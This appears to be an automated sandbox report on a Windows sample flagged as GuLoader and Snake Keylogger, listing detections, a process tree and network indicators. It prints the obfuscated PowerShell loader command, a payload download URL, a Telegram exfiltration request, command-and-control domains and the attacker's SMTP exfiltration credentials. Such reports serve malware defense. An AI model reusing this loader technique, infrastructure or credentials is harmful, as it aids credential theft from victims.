Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1518332
MD5:	7fbb332b55f872e61c8307e0b5242287
SHA1:	b499466240ef01da4a2cf380d709752b2e44232a
SHA256:	9845acc424512cc5b0c67de96ce917624b5e80ee95ea4ea6a7cbc37b7c03ef63
Tags:	exeuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if the current process is being debugged

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7420 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 7FBB332B55F872E61C8307E0B5242287)

powershell.exe (PID: 7496 cmdline: "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wabmig.exe (PID: 8168 cmdline: "C:\Program Files (x86)\windows mail\wabmig.exe" MD5: BBC90B164F1D84DEDC1DC30F290EC5F6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "nicklog@wxtp.store", "Password": "7213575aceACE@@  ", "Host": "mail.wxtp.store", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000007.00000002.2695880589.0000000022EE5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.2217265751.000000000B997000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: wabmig.exe PID: 8168	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: wabmig.exe PID: 8168	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7496, TargetFilename: C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)" , CommandLine: "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)" , CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 7420, ParentProcessName: file.exe, ProcessCommandLine: "powershell.exe" -windowstyle minimized "$Sprag=Get-Content 'C:\Users\user\AppData\Local\acneform\Camomiles.Bev';$Depurge=$Sprag.SubString(30781,3);.$Depurge($Sprag)" , ProcessId: 7496, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:01:30.954113+0200	2803305	3	Unknown Traffic	192.168.2.8	49715	188.114.97.3	443	TCP
2024-09-25T16:01:34.877195+0200	2803305	3	Unknown Traffic	192.168.2.8	49721	188.114.97.3	443	TCP
2024-09-25T16:01:39.227302+0200	2803305	3	Unknown Traffic	192.168.2.8	49727	188.114.97.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:01:28.683636+0200	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	132.226.247.73	80	TCP
2024-09-25T16:01:30.386762+0200	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	132.226.247.73	80	TCP
2024-09-25T16:01:31.683648+0200	2803274	2	Potentially Bad Traffic	192.168.2.8	49716	132.226.247.73	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T16:01:26.987824+0200	2803270	2	Potentially Bad Traffic	192.168.2.8	49710	185.29.11.53	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://aborters.duckdns.org:8081	URL Reputation: Label: malware
Source: http://anotherarmy.dns.army:8081	URL Reputation: Label: malware

Found malware configuration

Source: 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "nicklog@wxtp.store", "Password": "7213575aceACE@@ ", "Host": "mail.wxtp.store", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49713 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49730 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2216409652.0000000008695000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: qm.Core.pdb source: powershell.exe, 00000002.00000002.2212699188.000000000750D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.2216409652.000000000864F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000002.00000002.2212699188.00000000074F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000002.00000002.2212699188.00000000074F1000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00405C63 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402910 FindFirstFileW,	0_2_00402910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004068B4 FindFirstFileW,FindClose,	0_2_004068B4

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts	Jump to behavior

Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 0094F8E9h	7_2_0094F631
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 0094FD41h	7_2_0094FA8D
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D431E0h	7_2_25D42DC8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D42C19h	7_2_25D42968
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D40D0Dh	7_2_25D40B30
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D41697h	7_2_25D40B30
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D431E0h	7_2_25D42DBE
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4DC51h	7_2_25D4D9A8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4D7F9h	7_2_25D4D550
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D431E0h	7_2_25D4310E
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4D3A1h	7_2_25D4D0F8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4CF49h	7_2_25D4CCA0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	7_2_25D40040
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4FAB9h	7_2_25D4F810
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4F661h	7_2_25D4F3B8
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4F209h	7_2_25D4EF60
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4EDB1h	7_2_25D4EB08
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4E959h	7_2_25D4E6B0
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4E501h	7_2_25D4E258
Source: C:\Program Files (x86)\Windows Mail\wabmig.exe	Code function: 4x nop then jmp 25D4E0A9h	7_2_25D4DE00

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20and%20Time:%2025/09/2024%20/%2022:55:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20093954%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49716 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.8:49710 -> 185.29.11.53:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.8:49711 -> 132.226.247.73:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49727 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49715 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.8:49721 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /fhSIfglR68.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 185.29.11.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.8:49713 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53
Source: unknown	TCP traffic detected without corresponding DNS query: 185.29.11.53

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:093954%0D%0ADate%20and%20Time:%2025/09/2024%20/%2022:55:52%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20093954%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fhSIfglR68.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 185.29.11.53Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 25 Sep 2024 14:01:41 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: wabmig.exe, 00000007.00000002.2683738778.0000000007843000.00000004.00000020.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2683416849.0000000007580000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://185.29.11.53/fhSIfglR68.bin
Source: wabmig.exe, 00000007.00000002.2683738778.0000000007843000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.29.11.53/fhSIfglR68.bin;
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: powershell.exe, 00000002.00000002.2212699188.00000000074A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft0Wq
Source: file.exe, file.exe.2.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.2210698080.0000000005DF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2207916280.0000000004EE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2207916280.0000000004D91000.00000004.00000800.00020000.00000000.sdmp, wabmig.exe, 00000007.00000002.2695880589.0000000022DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
